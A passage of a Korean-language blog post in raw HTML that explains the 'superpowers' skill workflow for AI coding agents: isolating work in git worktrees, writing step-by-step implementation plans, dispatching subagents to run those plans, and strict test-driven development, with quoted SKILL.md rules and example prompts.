data-origin-height=&quot;898&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 설계 승인 후, 구현 플랜 실행 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기능 작업을 메인 브랜치와 격리하여 진행한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/using-git-worktrees/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;using-git-worktrees/SKILL.md&lt;/a&gt;는 디렉토리 선택 우선순위 알고리즘을 정의한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기존 디렉토리 확인: &lt;code&gt;ls -d .worktrees&lt;/code&gt; &amp;rarr; &lt;code&gt;.worktrees&lt;/code&gt;가 우선, &lt;code&gt;worktrees&lt;/code&gt;가 대안&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;CLAUDE.md에서 &lt;code&gt;grep -i 'worktree.*director'&lt;/code&gt; 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;둘 다 없으면 사용자에게 질문: &lt;code&gt;.worktrees/&lt;/code&gt; 또는 &lt;code&gt;~/.config/superpowers/worktrees/&amp;lt;project-name&amp;gt;/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전 검증 단계가 핵심이다. 디렉토리 생성 전에 &lt;code&gt;.gitignore&lt;/code&gt; 확인이 강제된다.&lt;/p&gt;
&lt;pre class=&quot;smali&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git check-ignore -q .worktrees 2&amp;gt;/dev/null || git check-ignore -q worktrees 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무시 목록에 없으면 Jesse의 규칙(&quot;망가진 건 즉시 고친다&quot;)에 따라 &lt;code&gt;.gitignore&lt;/code&gt;에 추가하고 커밋한 뒤 워크트리를 생성한다. 워크트리 내용이 실수로 커밋되는 것을 방지하기 위한 설계다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워크트리 생성 패턴은 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git worktree add .worktrees/feature/jwt-auth -b feature/jwt-auth&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;설계가 승인됐어. 이제 작업 시작하자.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 새 브랜치와 함께 격리된 워크트리를 생성하고, Python이면 &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;, Node면 &lt;code&gt;npm install&lt;/code&gt;을 자동 실행한다. 이후 기존 테스트 전체가 통과하는지 베이스라인 검증을 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3 &amp;mdash; writing-plans: 실행 가능한 플랜 작성&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;952&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3xqa4/dJMcagebS6m/KHSXfltW6h8XEcBrgiS3K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3xqa4/dJMcagebS6m/KHSXfltW6h8XEcBrgiS3K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3xqa4/dJMcagebS6m/KHSXfltW6h8XEcBrgiS3K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3xqa4%2FdJMcagebS6m%2FKHSXfltW6h8XEcBrgiS3K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;377&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;952&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 승인된 설계가 있을 때, 코드 작성 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/writing-plans/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;writing-plans/SKILL.md&lt;/a&gt;는 플랜 문서의 헤더 템플릿을 강제한다.&lt;/p&gt;
&lt;pre class=&quot;less&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# [Feature Name] Implementation Plan
&amp;gt; **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development
&amp;gt; (recommended) or superpowers:executing-plans

**Goal:** [한 문장]
**Architecture:** [2-3 문장]
**Tech Stack:** [핵심 기술]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 태스크는 2-5분 단위의 단일 액션으로 구성된다. SKILL.md의 예시다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;### Task 1: 실패하는 테스트 작성
- `tests/test_auth.py` 생성
- `POST /auth/token` 엔드포인트 존재 여부 테스트
- `pytest tests/test_auth.py` 실행하여 FAIL 확인

### Task 2: 최소 라우터 구현
- `app/routers/auth.py` 생성
- OAuth2PasswordBearer 스켈레톤만 구현&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TBD, TODO, &quot;위와 유사&quot;, &quot;나중에 구현&quot; 같은 플레이스홀더는 플랜 실패 조건이다. 파일 구조 원칙도 명시한다: 단일 책임, 경계가 명확한 인터페이스, 함께 변경되는 파일은 함께 위치.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;JWT 인증 설계 문서를 바탕으로 구현 플랜을 만들어줘.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 각 태스크에 정확한 파일 경로, 완전한 코드 스니펫, 검증 명령어가 포함된 플랜 파일이 저장된다. 반복되는 태스크라도 완전한 코드를 다시 작성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) Step1의 작업을 계속 이어 계획을 생성한다. 이번엔 명시적 호출을 진행하지 않았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1790&quot; data-origin-height=&quot;1130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdYgwc/dJMcajvbiz8/EWTKuVkIkJjbP8X0ODheTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdYgwc/dJMcajvbiz8/EWTKuVkIkJjbP8X0ODheTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdYgwc/dJMcajvbiz8/EWTKuVkIkJjbP8X0ODheTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdYgwc%2FdJMcajvbiz8%2FEWTKuVkIkJjbP8X0ODheTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1790&quot; height=&quot;1130&quot; data-origin-width=&quot;1790&quot; data-origin-height=&quot;1130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 계획 문서 작성 완료 &amp;gt; 실행 방식은 Step4에서 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1668&quot; data-origin-height=&quot;282&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDvyeG/dJMcahqDAEw/ENyxhP8T44Yp7KuLCgmPh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDvyeG/dJMcahqDAEw/ENyxhP8T44Yp7KuLCgmPh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDvyeG/dJMcahqDAEw/ENyxhP8T44Yp7KuLCgmPh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDvyeG%2FdJMcahqDAEw%2FENyxhP8T44Yp7KuLCgmPh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1668&quot; height=&quot;282&quot; data-origin-width=&quot;1668&quot; data-origin-height=&quot;282&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 4 &amp;mdash; subagent-driven-development / executing-plans: 플랜 실행&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;956&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pqIEw/dJMcafGlVvm/bq695NBiuXBcfjZ51cygkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pqIEw/dJMcafGlVvm/bq695NBiuXBcfjZ51cygkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pqIEw/dJMcafGlVvm/bq695NBiuXBcfjZ51cygkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpqIEw%2FdJMcafGlVvm%2Fbq695NBiuXBcfjZ51cygkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;338&quot; height=&quot;331&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;956&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 플랜이 준비된 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/subagent-driven-development/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;subagent-driven-development/SKILL.md&lt;/a&gt;는 태스크당 fresh 서브에이전트를 디스패치하여 2단계 리뷰(스펙 준수 검토 &amp;rarr; 코드 품질 검토)를 거친다. 서브에이전트가 독립된 컨텍스트로 실행되기 때문에 이전 세션의 편향이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SKILL.md의 표현: &quot;They should never inherit your session's context or history &amp;mdash; you construct exactly what they need.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;executing-plans&lt;/code&gt;는 같은 세션 내에서 태스크를 순차 실행하는 방식이다. 서브에이전트를 디스패치하지 않으므로 컨텍스트 분리 효과가 없다. SKILL.md의 실제 분기 기준은 &quot;현재 세션에 머물 것인가 / 별도 에이전트로 분리할 것인가&quot;이며, 플랫폼 기능 부재의 대체제가 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 방식을 쓸지 결정할 때 참고할 매트릭스는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 또는 Codex(multi_agent=true) 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;subagent-driven-development&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트로 컨텍스트 분리하여 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;subagent-driven-development&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 세션 내 순차 실행 원함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;태스크가 상호 의존성이 강함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subagent-driven-development를 사용하면 Claude가 2-3시간 자율 작업도 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서브에이전트 지원 플랫폼&lt;/b&gt;: Claude Code와 Codex(&lt;code&gt;multi_agent = true&lt;/code&gt; 설정 필요)는 서브에이전트 디스패치를 지원한다. Cursor, OpenCode, Gemini CLI는 현재 서브에이전트 디스패치를 지원하지 않으므로, 이 플랫폼에서는 &lt;code&gt;subagent-driven-development&lt;/code&gt; 대신 &lt;code&gt;executing-plans&lt;/code&gt;(같은 세션 내 순차 실행)를 사용한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;954&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3QDHI/dJMcafsNetq/AJxhnM0HQJbUDVa1aaLbL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3QDHI/dJMcafsNetq/AJxhnM0HQJbUDVa1aaLbL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3QDHI/dJMcafsNetq/AJxhnM0HQJbUDVa1aaLbL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3QDHI%2FdJMcafsNetq%2FAJxhnM0HQJbUDVa1aaLbL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;954&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;954&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;플랜대로 실행해줘.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 각 태스크를 독립된 서브에이전트가 처리한다. 태스크 완료 후 스펙 준수 여부 &amp;rarr; 코드 품질 순으로 2단계 리뷰를 수행하고 결과를 보고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) subagent-drive 방식으로 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;960&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biqD3J/dJMcabDWBv3/35DKUStpVhFwo61d4eA0C0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biqD3J/dJMcabDWBv3/35DKUStpVhFwo61d4eA0C0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biqD3J/dJMcabDWBv3/35DKUStpVhFwo61d4eA0C0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiqD3J%2FdJMcabDWBv3%2F35DKUStpVhFwo61d4eA0C0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1830&quot; height=&quot;960&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;960&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTioeF/dJMcafl26DP/JBf5D6kKfJ0Qlb7nIXRXj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTioeF/dJMcafl26DP/JBf5D6kKfJ0Qlb7nIXRXj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTioeF/dJMcafl26DP/JBf5D6kKfJ0Qlb7nIXRXj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTioeF%2FdJMcafl26DP%2FJBf5D6kKfJ0Qlb7nIXRXj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1660&quot; height=&quot;328&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7zVz5/dJMcai34DOY/faqUzmnTiiaG0oJRK9C3v0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7zVz5/dJMcai34DOY/faqUzmnTiiaG0oJRK9C3v0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7zVz5/dJMcai34DOY/faqUzmnTiiaG0oJRK9C3v0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7zVz5%2FdJMcai34DOY%2FfaqUzmnTiiaG0oJRK9C3v0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1778&quot; height=&quot;470&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 5 &amp;mdash; test-driven-development: 테스트 우선 개발&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDmZaC/dJMcacW8oDJ/DR7OCoBzg1dVHjV7tWkddk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDmZaC/dJMcacW8oDJ/DR7OCoBzg1dVHjV7tWkddk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDmZaC/dJMcacW8oDJ/DR7OCoBzg1dVHjV7tWkddk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDmZaC%2FdJMcacW8oDJ%2FDR7OCoBzg1dVHjV7tWkddk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1066&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 구현 중 모든 기능 추가&amp;middot;버그 픽스 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/test-driven-development/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;test-driven-development/SKILL.md&lt;/a&gt;는 철칙을 이렇게 정의한다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;NO PRODUCTION CODE WITHOUT A FAILING TEST FIRST&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 없이 작성된 코드가 있다면 삭제하고 처음부터 다시 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SKILL.md의 표현 그대로다: &quot;Write code before the test? Delete it. Start over. No exceptions: Don't keep it as 'reference' / Don't 'adapt' it while writing tests / Delete means delete.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RED-GREEN-REFACTOR 사이클은 다음 5단계로 진행된다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;RED&lt;/b&gt;: 실패하는 테스트 1개 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Verify RED&lt;/b&gt;: 실패 확인 &amp;mdash; 필수, 절대 건너뛰지 않음 (&quot;테스트가 실패하는 것을 보지 않으면, 올바른 것을 테스트하는지 알 수 없다&quot;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GREEN&lt;/b&gt;: 테스트를 통과하는 최소 코드 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Verify GREEN&lt;/b&gt;: 통과 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;REFACTOR&lt;/b&gt;: 중복 제거, 이름 개선, 헬퍼 추출 (GREEN 상태에서만)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적용 범위는 새 기능, 버그 픽스, 리팩토링, 동작 변경 모두 포함한다. 예외(프로토타입, 생성된 코드, 설정 파일)는 사람 파트너에게 먼저 물어보도록 SKILL.md가 명시한다. &quot;'이번 한 번만 TDD를 건너뛰자'는 생각이 든다면 &amp;mdash; 멈춰라. 그건 합리화다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;로그인 실패 시 401을 반환하는 기능을 추가해줘.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 먼저 잘못된 자격증명으로 &lt;code&gt;POST /auth/token&lt;/code&gt;을 호출했을 때 401을 기대하는 테스트를 작성하고 실행해 실패를 확인한다. 그 후 최소 구현을 추가해 테스트를 통과시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 6 &amp;mdash; requesting-code-review: 2단계 코드 리뷰&lt;/h3&gt;
